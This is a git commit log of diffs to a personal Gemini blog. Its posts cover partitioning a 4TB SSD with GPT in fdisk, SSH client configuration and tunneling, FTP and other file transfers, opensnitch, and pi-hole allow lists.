diff --git a/2023-03-21-how-to-create-a-partition-larger-than-2tb-with-fdisk.gmi b/2023-03-21-how-to-create-a-partition-larger-than-2tb-with-fdisk.gmi
new file mode 100644
index 0000000..70860f3
--- /dev/null
+++ b/2023-03-21-how-to-create-a-partition-larger-than-2tb-with-fdisk.gmi
@@ -0,0 +1,106 @@
+# how to create a partition larger than 2TB with fdisk
+
+=> feed.gmi Feed
+
+date: 2023-03-21 15:33:45
+
+categories: tools
+
+firstPublishDate: 2023-03-21 15:33:45
+
+On a new 4TB SSD, I ran these commands and the new partion was 2TB:
+
+```
+fdisk /dev/nvme0n1
+
+Welcome to fdisk (util-linux 2.38.1).
+Changes will remain in memory only, until you decide to write them.
+Be careful before using the write command.
+
+Device does not contain a recognized partition table.
+The size of this disk is 3.6 TiB (4000787030016 bytes). DOS partition table format cannot be used on drives for volumes larger than 2199023255040 bytes for 512-byte sectors. Use GUID partition table format (GPT).
+
+Created a new DOS (MBR) disklabel with disk identifier 0xefe222ab.
+
+Command (m for help): n
+Partition type
+   p   primary (0 primary, 0 extended, 4 free)
+   e   extended (container for logical partitions)
+Select (default p): p
+Partition number (1-4, default 1): 1
+First sector (2048-4294967295, default 2048):
+Last sector, +/-sectors or +/-size{K,M,G,T,P} (2048-4294967295, default 4294967295):
+
+Created a new partition 1 of type 'Linux' and of size 2 TiB
+```
+
+By default, fdisk creates a DOS partition table and as written in warning message above, the largest partition in a DOS partition table is 2TB.
+
+A GPT partition table needs to be created, in fdisk it is done with the 'g' command:
+
+```
+fdisk /dev/nvme0n1
+# or
+# fdisk -n /dev/nvme0n1
+# to not create a default partition table
+
+Welcome to fdisk (util-linux 2.38.1).
+Changes will remain in memory only, until you decide to write them.
+Be careful before using the write command.
+
+The size of this disk is 3.6 TiB (4000787030016 bytes). DOS partition table format cannot be used on drives for volumes larger than 2199023255040 bytes for 512-byte sectors. Use GUID partition table format (GPT).
+
+Command (m for help): g
+Created a new GPT disklabel (GUID: 65F870F4-96CD-294A-99D5-E009CB0122D4).
+The device contains 'dos' signature and it will be removed by a write command. See fdisk(8) man page and --wipe option for more details.
+
+Command (m for help): p
+
+Disk /dev/nvme0n1: 3.64 TiB, 4000787030016 bytes, 7814037168 sectors
+Disk model: Seagate FireCuda 530 ZP4000GM30013
+Units: sectors of 1 * 512 = 512 bytes
+Sector size (logical/physical): 512 bytes / 512 bytes
+I/O size (minimum/optimal): 512 bytes / 512 bytes
+Disklabel type: gpt
+Disk identifier: 65F870F4-96CD-294A-99D5-E009CB0122D4
+
+Command (m for help): n
+Partition number (1-128, default 1): 1
+First sector (2048-7814037134, default 2048):
+Last sector, +/-sectors or +/-size{K,M,G,T,P} (2048-7814037134, default 7814035455):
+
+Created a new partition 1 of type 'Linux filesystem' and of size 3.6 TiB.
+Partition #1 contains a ext4 signature.
+
+Do you want to remove the signature? [Y]es/[N]o: Y
+
+The signature will be removed by a write command.
+
+Command (m for help): w
+The partition table has been altered.
+Calling ioctl() to re-read partition table.
+Syncing disks.
+```
+
+Then I create an ext4 file system in the 4TB partition:
+
+```
+# mkfs -t ext4 /dev/nvme0n1p1
+mke2fs 1.46.6 (1-Feb-2023)
+Discarding device blocks: done
+Creating filesystem with 976754176 4k blocks and 244195328 inodes
+Filesystem UUID: acf7bbfa-4321-42b5-b785-a6993b742679
+Superblock backups stored on blocks:
+        32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208,
+        4096000, 7962624, 11239424, 20480000, 23887872, 71663616, 78675968,
+        102400000, 214990848, 512000000, 550731776, 644972544
+
+Allocating group tables: done
+Writing inode tables: done
+Creating journal (262144 blocks): done
+Writing superblocks and filesystem accounting information: done
+
+# mount /dev/nvme0n1p1 /mnt
+```
+
+=> feed.gmi Feed

commit 4992e6427b1f9f5352a6fec649703d81d359ee30
Author: Remy Noulin <loader2x@gmail.com>
Date:   Mon Mar 13 10:17:39 2023 +0200

    Update

diff --git a/2021-06-27-zfs-commands.gmi b/2021-06-27-zfs-commands.gmi
index 2ffbc44..f2c3149 100644
--- a/2021-06-27-zfs-commands.gmi
+++ b/2021-06-27-zfs-commands.gmi
@@ -266,6 +266,7 @@ get state:
 ```
 zfs get snapdir poolName/datasetName
 zfs set snapdir=visible poolName/datasetName
+zfs set snapdir=hidden poolName/datasetName
 ```
 
 * clone snapshot to dataset

commit d44233ddc7c12fe2b3d11e3879617d97ac898795
Author: Remy Noulin <loader2x@gmail.com>
Date:   Tue Feb 28 09:39:52 2023 +0200

    Update

diff --git a/2023-02-28-ssh-configurations.gmi b/2023-02-28-ssh-configurations.gmi
new file mode 100644
index 0000000..7e9f140
--- /dev/null
+++ b/2023-02-28-ssh-configurations.gmi
@@ -0,0 +1,150 @@
+# SSH client configurations
+
+=> feed.gmi Feed
+
+date: 2023-02-28 09:39:25
+
+categories: linux
+
+firstPublishDate: 2023-02-28 09:39:25
+
+Here is a set of SSH client configurations I usually use and find useful.
+
+The SSH client configuration is stored in
+
+```
+~/.ssh/config
+```
+
+When a NAT router is involved between the client and server, it closes the TCP connections after a long time of inactivity (about 10 minutes for my router). To prevent the router from closing the connection, I keep connection alive with these options in the config file:
+
+```
+Host *
+    ServerAliveInterval 290
+    ServerAliveCountMax 2
+```
+
+I generate my Identity keys like this:
+
+```
+ssh-keygen -t rsa -b 4096
+# or
+ssh-keygen -t ed25519
+ssh-keygen -t ed25519 -f filename
+```
+
+A password can be set on the key to protect it. The key password is asked at each new connection unless the key is loaded in SSH-agent (more information about SSH-agent below). The public key has to be copied to `~/.ssh/authorized_keys` in the server and the client has to use the private key to connect with key instead of password:
+
+```
+ssh -i ~/.ssh/id_rsa myuser@example.com
+```
+
+It is possible to replace this command line with something shorter:
+
+```
+ssh server
+```
+
+In order to do that, add a configuration in `~/.ssh/config`:
+
+```
+host server
+        HostName example.com
+        IdentityFile ~/.ssh/id_rsa
+        Port 22
+        User myuser
+```
+
+With SSH, one can do server hop and connect to a machine not reachable from the public internet.
+
+```
+Client -> host1 Server on Internet -> host2 Server in LAN
+```
+
+Without configuration, it is done like this:
+
+```
+ssh -J myuser@server auser@host2
+```
+
+It is configured like this in `~/.ssh/config`:
+
+```
+host insideServer
+        Hostname host2
+        User auser
+        IdentityFile ~/.ssh/id_rsa_InsideServer
+        ProxyCommand ssh server -W %h:%p
+```
+
+Multiple jump host can be in a chain to a destination. All the identity files (the secret keys) have to be in the client machine.
+
+Sometimes I want to connect to a host not reachable from the public internet without a jump host, then I use reverse tunneling like this:
+
+```
+# I connect the server (not reachable from the internet) to the client (example.com)
+ssh -i ~/.ssh/id_rsa -R 19999:localhost:22 -C user@example.com
+# On the client, I connect to port 19999
+ssh userOnServer@localhost -p 19999
+```
+
+I use SSH agent to load the keys with password, the password is asked only when the key is loaded:
+
+```
+eval $(ssh-agent)
+# add keys
+ssh-add ~/.ssh/id_rsa
+```
+
+SHA-1 signature has been disable after version 8.8 (2021-09-26), so older ssh clients can't connect to newer ssh servers and newer clients can't connect to older servers. A solution is to upgrade the client to a newer version, another solution is to accept legacy hostkey using ssh-rsa algorithm for the machine with the old ssh server:
+
+Set the configuration for the old server in `~/.ssh/config` like this:
+
+```
+host oldserver
+        HostName example.com
+        IdentityFile ~/.ssh/id_rsa
+        Port 22
+        User myuser
+        PubkeyAcceptedAlgorithms +ssh-rsa
+        HostkeyAlgorithms +ssh-rsa
+```
+
+When I can't upgrade or change configuration, I setup an ftp server, see: 
+=> 2022-04-22-how-to-transfer-files-between-devices.gmi How to transfer files between devices
+
+or I use a third machine:
+
+* Machine A has an old SSH server
+* Machine B has Debian Bullseye which can connect to the old machine A and the new machine C with Debian Bookworm
+* Machine C has Debian Bookworm, machine C cannot connect to machine A. The error is: "Unable to negotiate with 192.168.1.2 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss"
+
+I copy the files from A to C through B with pipes and `tar` (or `cat` for single file):
+
+```
+# From C
+# Copy a file in A to C:
+ssh B 'ssh A "cat file"' > file
+# Copy multiple files in A to C, the data is compressed with bzip2 on the network:
+ssh B 'ssh A "/bin/tar cj file1 dir2 file3"' | tar xj
+```
+
+It is possible to store ssh keys in tpm 2.0, I haven't tried yet: => 
+=> https://jade.fyi/blog/tpm-ssh/
+=> 
+=> https://blog.ledger.com/ssh-with-tpm/
+
+Related articles: 
+=> 2020-06-20-how-to-tunnel-firefox-through-ssh.gmi How to tunnel firefox through ssh
+
+=> 2021-06-27-zfs-commands.gmi Zfs commands
+
+=> 2021-07-21-ssh-clients-in-ios.gmi SSH clients in ios
+
+=> 2022-04-22-how-to-transfer-files-between-devices.gmi How to transfer files between devices
+
+=> 2022-12-23-using-tor.gmi Using tor
+
+Tag: #ssh
+
+=> feed.gmi Feed

commit b0501d71995ce423d1c08fef7f7cd8a2b5a62f5f
Author: Remy Noulin <loader2x@gmail.com>
Date:   Mon Feb 27 15:35:24 2023 +0200

    Update

diff --git a/2021-07-30-installing-opensnitch.gmi b/2021-07-30-installing-opensnitch.gmi
index d6fc35c..db315e4 100644
--- a/2021-07-30-installing-opensnitch.gmi
+++ b/2021-07-30-installing-opensnitch.gmi
@@ -1,8 +1,8 @@
-# Installing opensnitch in Debian Buster
+# Installing opensnitch in Debian (Buster and newer)
 
 => feed.gmi Feed
 
-date: 2021-07-30 13:20:47
+date: 2023-02-27 10:58:36
 
 categories: privacy
 
@@ -20,6 +20,14 @@ I don't use chrome in general but according to this article
 => https://www.unixsheikh.com/articles/choose-your-browser-carefully.html Choose your browser carefully
 , it also makes unwanted connections.
 
+# The Opensnitch package available in Debian Bookworm
+
+Install it with apt:
+
+```
+apt-get install opensnitch python3-opensnitch-ui
+```
+
 # How to install opensnitch
 
 Download the prebuilt deb packages: daemon and GUI
diff --git a/2022-04-22-how-to-transfer-files-between-devices.gmi b/2022-04-22-how-to-transfer-files-between-devices.gmi
index 8d63a0c..cdcbf4a 100644
--- a/2022-04-22-how-to-transfer-files-between-devices.gmi
+++ b/2022-04-22-how-to-transfer-files-between-devices.gmi
@@ -2,13 +2,13 @@
 
 => feed.gmi Feed
 
-date: 2022-04-22 23:01:45
+date: 2023-02-26 16:21:23
 
 categories: default
 
 firstPublishDate: 2022-04-22 23:01:45
 
-I use multiple devices and I need to copy files between them. I mainly transfer the files with  ssh/scp/sftp, rsync, samba/cifs and web servers.
+I use multiple devices and I need to copy files between them. I mainly transfer the files with  ssh/scp/sftp, rsync, samba/cifs, web and ftp servers.
 
 ## SSH
 
@@ -62,6 +62,20 @@ mc
 # then F9 > Right > SFTP link > example.com
 ```
 
+With SSH, it is possible to use a middle machine to transfer files:
+
+* Machine A has the files
+* Machine B is in the middle
+* Machine C downloads from machine A
+
+For this, I use `tar`:
+
+```
+# From C
+# the data is compressed with bzip2 on the network:
+ssh B 'ssh A "/bin/tar cj file1 dir2 file3"' | tar xj
+```
+
 ## Sharing drives
 
 I share drives through the local network with samba/cifs. I have my media on a server and the server disk is shared with my other machines.
@@ -109,6 +123,32 @@ server.dir-listing = "enable"
 /etc/init.d/lighttpd restart
 ```
 
+## FTP
+
+I install pure-ftpd server, there is no configuration and it works directly after installation:
+
+```
+apt-get install pure-ftpd
+```
+
+The ftp clients I use are `ncftp` and `mc`:
+
+```
+apt-get install ncftp mc
+
+# ncftp usage
+# open connection
+open -u user serverAddress
+# copy directory from client machine to server
+put -R directory
+
+# mc usage
+# To open connection: Choose FTP link...
+ftp://user@serverAddress
+# on older mc, it is:
+user@serverAddress
+```
+
 ## Other alternatives
 
 * Syncthing is a background program that copies or deletes files in specified directories between computer.
@@ -122,4 +162,6 @@ I don't use these systems because they take resources while not using them and I
 
 * Sshfs allows sharing a drive on a remote machine through an ssh connection, it is similar to samba and it needs a mount point on the local machine.
 
+Tags: #ssh #rsync #samba #cifs #ftp
+
 => feed.gmi Feed

commit 8256794b1d60b37b6cc09c240a21e1dabe683e3c
Author: Remy Noulin <loader2x@gmail.com>
Date:   Thu Feb 23 18:12:34 2023 +0200

    Update

diff --git a/2021-07-21-ssh-clients-in-ios.gmi b/2021-07-21-ssh-clients-in-ios.gmi
index c8ec62e..37929e9 100644
--- a/2021-07-21-ssh-clients-in-ios.gmi
+++ b/2021-07-21-ssh-clients-in-ios.gmi
@@ -20,6 +20,8 @@ Blink Shell & Code Editor (free and open source)
 
 => https://blink.sh blink.sh
 
+Well, sometimes blink looks itself and I have to wait 1 minute.
+
 hashtags: #updates #ssh #iphone
 
 => feed.gmi Feed
diff --git a/2021-09-06-coding-in-assembly-in-linux.gmi b/2021-09-06-coding-in-assembly-in-linux.gmi
index 5937dd3..bb95a58 100644
--- a/2021-09-06-coding-in-assembly-in-linux.gmi
+++ b/2021-09-06-coding-in-assembly-in-linux.gmi
@@ -2,7 +2,7 @@
 
 => feed.gmi Feed
 
-date: 2021-09-06 19:38:28
+date: 2023-02-23 18:05:10
 
 categories: assembly
 
@@ -75,6 +75,11 @@ Also when a program crashes, the process stops and there is no need to reboot th
 
 I created a program that prints the number of arguments and the arguments themselves. It finishes by printing 'Hello world' in 3 ways (call, call with struc, macro).
 
+For a more advanced program, check out `spartasm` a spartan server. 
+=> gemini://gmi.noulin.net/gitRepositories/spartserv/files.gmi spartasm (gemini)
+
+=> https://noulin.net/spartserv/files.html spartasm (http)
+
 Here is a library I created to try the nasm features (file: `libInc.asm`):
 
 ```
diff --git a/2022-05-25-encoding-videos-in-av1-with-ffmpeg.gmi b/2022-05-25-encoding-videos-in-av1-with-ffmpeg.gmi
index 0165b1e..0b3be09 100644
--- a/2022-05-25-encoding-videos-in-av1-with-ffmpeg.gmi
+++ b/2022-05-25-encoding-videos-in-av1-with-ffmpeg.gmi
@@ -2,7 +2,7 @@
 
 => feed.gmi Feed
 
-date: 2023-02-08 21:12:36
+date: 2023-02-23 18:11:45
 
 categories: linux
 
@@ -24,6 +24,8 @@ I encode my videos with libaom to get smaller files for a given quality because
 
 I film with my iPhone in 4k 60 fps hevc and I don't have a computer that can play these videos so I also scale down the resolution.
 
+Encoding the iPhone videos in h264 (using the parameters below) make them 20 times smaller, I transfer back to the videos to iPhone to save space and avoid having to use iCloud.
+
 # Install
 
 I installed FFmpeg and libaom from apt but I don't recommend doing this because it is better to use the latest AV1 encoders.

commit d7eecf569f6686d953d3faea23e8bf79e3d6808b
Author: Remy Noulin <loader2x@gmail.com>
Date:   Thu Feb 23 16:47:15 2023 +0200

    Update

diff --git a/2020-08-23-devices.gmi b/2020-08-23-devices.gmi
index 0366ef0..287660b 100644
--- a/2020-08-23-devices.gmi
+++ b/2020-08-23-devices.gmi
@@ -2,7 +2,7 @@
 
 => feed.gmi Feed
 
-date: 2022-01-09 23:16:36
+date: 2023-02-23 16:33:18
 
 categories: hardware
 
@@ -12,7 +12,7 @@ In the 90s, I was keeping my computers for 2 years maximum, in the 2000s I was k
 
 I have a Compaq laptop from 2009 (32bit) that I don't use anymore because the network card fails when the computer is on for a few days. I keep it and plan to use it a temporary replacement machine.
 
-The power supply on my Intel Core I7 980 desktop computer (2010) died in 2021, I bought a new one and it works fine again.
+The power supply on my Intel Core I7 980 desktop computer (2010) died in 2021, I bought a new one. The power supply died again in 2023, I bought a new one and it works fine again.
 
 My backup server died in June 2021:
 
diff --git a/2021-04-10-blocking-ads-with-pihole.gmi b/2021-04-10-blocking-ads-with-pihole.gmi
index ebf3920..c873345 100644
--- a/2021-04-10-blocking-ads-with-pihole.gmi
+++ b/2021-04-10-blocking-ads-with-pihole.gmi
@@ -2,7 +2,7 @@
 
 => feed.gmi Feed
 
-date: 2021-04-10 14:49:31
+date: 2023-02-23 16:46:40
 
 categories: privacy
 
@@ -31,6 +31,11 @@ I watch the french news on
 => https://www.francetvinfo.fr/replay-jt/
 and recently the page changed and I was not able to watch the videos anymore. After debugging, I found that pi-hole blocked `sdk.privacy-center.org` and that this server is required to be able to watch the videos. So I added `sdk.privacy-center.org` to the whitelist in pi-hole using the web interface and now I can watch the french news again.
 
+I recently noticed that some legetimate sites are added to the block lists, causing issues on these sites. I also have wifi issues, my devices get disconnected. When a site doesn't work:
+
+* I check that my device is online and can access other sites
+* I check the logs in pihole, if I see something a domain related to the site I'm trying to access, I add it to the allow list.
+
 hashtags: #privacy
 
 => feed.gmi Feed